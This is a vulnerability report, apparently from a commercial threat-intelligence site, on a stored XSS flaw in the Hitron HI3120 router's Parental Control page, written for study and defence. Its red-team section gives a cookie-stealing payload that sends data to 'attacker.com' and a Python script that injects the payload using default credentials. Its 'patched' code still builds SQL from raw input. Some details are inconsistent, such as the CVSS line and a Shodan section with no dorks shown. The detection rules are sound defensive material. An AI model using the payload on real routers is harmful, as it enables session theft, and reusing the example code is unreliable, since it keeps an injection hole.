CVE-2025-63354
Executive Summary
CVE-2025-63354 is a stored Cross-Site Scripting (XSS) vulnerability discovered in the Hitron HI3120 router, specifically in firmware version 7.2.4.5.2b1. The flaw resides in the Parental Control feature’s “Create New Filter” functionality. The device fails to sanitize user-supplied input, allowing an authenticated attacker to inject arbitrary JavaScript code that is stored and executed in the context of other users’ browsers when they view the affected page. This can lead to session hijacking, credential theft, or further compromise of the administrative interface. No official patch has been released by Hitron at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Base Score: 5.4 – Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: Required (victim must view the malicious filter)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium – Exploitation requires authentication but can lead to persistent compromise of admin sessions.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS (CWE-79) in the Hitron HI3120 web management interface. The Parental Control module allows administrators to create filters based on URL keywords, time schedules, or device MAC addresses. The input fields for filter names or descriptions are not properly sanitized or encoded before being stored in the device’s configuration database. When another administrator (or the same user) views the list of filters, the stored payload is rendered in the browser without proper escaping, allowing JavaScript execution.
Root Cause: The web application uses a server-side script (likely PHP or embedded C CGI) that directly echoes user input into the HTML response without applying context-aware output encoding. The input validation is either missing or insufficient.
Attack Flow:
- Attacker authenticates to the router’s web interface (default credentials or brute-forced).
- Navigates to Parental Control > Add Filter.
- Injects a payload such as
<script>alert('XSS')</script>into the filter name field. - The payload is stored and executed when any user views the filter list.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// vulnerable.php
$filter_name = $_POST['filter_name'];
$query = "INSERT INTO filters (name) VALUES ('$filter_name')";
// ... later in list.php
echo "<td>" . $filter_name . "</td>";
Patched Code (Conceptual):
// patched.php
$filter_name = htmlspecialchars($_POST['filter_name'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO filters (name) VALUES ('$filter_name')";
// ... later in list.php
echo "<td>" . $filter_name . "</td>";
The patched version uses htmlspecialchars() to encode HTML special characters, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to a Hitron HI3120 router with firmware 7.2.4.5.2b1.
- Valid administrative credentials (default: admin/admin or similar).
Exploit Steps:
- Log in to the router’s web interface.
- Navigate to Parental Control > Add Filter.
- In the “Filter Name” field, enter the following payload:
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> - Set any dummy values for other fields (e.g., URL keyword, schedule).
- Click “Save”.
- When another admin views the filter list, the script executes and exfiltrates cookies.
Proof-of-Concept (Python):
import requests
target = "http://192.168.1.1"
username = "admin"
password = "admin"
payload = "<script>alert('XSS')</script>"
session = requests.Session()
session.post(f"{target}/login.cgi", data={"user": username, "pass": password})
session.post(f"{target}/parental_control.cgi", data={
"action": "add",
"filter_name": payload,
"url_keyword": "test",
"schedule": "always"
})
print("Payload injected. Visit Parental Control page to trigger.")
Blue Team (Detection & Hardening)
Detection:
- Monitor HTTP POST requests to
/parental_control.cgifor suspiciousfilter_nameparameters containing<script>,onerror=, or other XSS patterns. - Alert on any outbound connections from the router to unknown external domains (potential cookie exfiltration).
Hardening:
- Disable remote administration if not required.
- Change default credentials immediately.
- Implement network segmentation to isolate the router’s management interface.
- Apply input validation and output encoding on the server side (vendor patch required).
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/parental_control.cgiwithfilter_namecontaining<script>oronerror=tags. - Outbound HTTP/HTTPS connections from the router to unknown IPs (e.g., attacker-controlled server).
- HTTP requests to
- Host IOCs:
- Presence of unexpected JavaScript code in the router’s configuration database (if accessible).
- Modified filter entries with unusual names.
- Log IOCs:
- Repeated failed login attempts (if brute-forcing credentials).
- Access logs showing POST to
/parental_control.cgifrom unusual IPs.
Detection Engineering
YARA Rule
rule CVE_2025_63354_XSS_Payload {
meta:
description = "Detects stored XSS payloads targeting Hitron HI3120 Parental Control"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-63354"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
condition:
any of them
}
Sigma Rule
title: Hitron HI3120 Stored XSS via Parental Control
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to parental_control.cgi with XSS payloads
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/parental_control.cgi'
cs-uri-query|contains: 'filter_name='
keywords:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in filter names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-63354 - Hitron HI3120 Stored XSS Payload in Parental Control";
flow:to_server,established;
content:"POST"; http_method;
content:"/parental_control.cgi"; http_uri;
content:"filter_name="; http_client_body;
pcre:"/<script[^>]*>.*<\/script>/i";
sid:10000001;
rev:1;
reference:cve,2025-63354;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Change Default Credentials: Ensure all administrative accounts use strong, unique passwords.
- Disable Remote Management: If not required, disable WAN-side access to the router’s web interface.
- Network Segmentation: Place the router in a separate VLAN and restrict management access to trusted IPs only.
- Monitor Logs: Enable logging and monitor for suspicious POST requests to
/parental_control.cgi.
Long-Term Fix:
- Vendor Patch: Await an official firmware update from Hitron that implements proper input validation and output encoding.
- Workaround: If patching is not possible, consider replacing the device with a more secure alternative.
Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact intel@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.